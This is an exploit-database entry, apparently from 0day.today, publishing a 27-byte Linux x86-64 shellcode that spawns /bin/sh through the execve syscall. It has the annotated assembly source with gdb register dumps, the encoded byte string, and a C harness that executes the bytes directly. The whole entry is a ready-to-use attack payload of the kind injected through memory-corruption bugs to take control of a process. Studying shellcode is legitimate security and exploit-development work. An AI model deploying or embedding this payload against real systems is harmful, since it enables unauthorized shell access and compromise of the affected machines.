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Linux/x86-64 - Execute /bin/sh Shellcode (27 bytes)
[/*
* Execute /bin/sh - 27 bytes
* Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;
main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
*/
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
# 0day.today [2024-11-15] #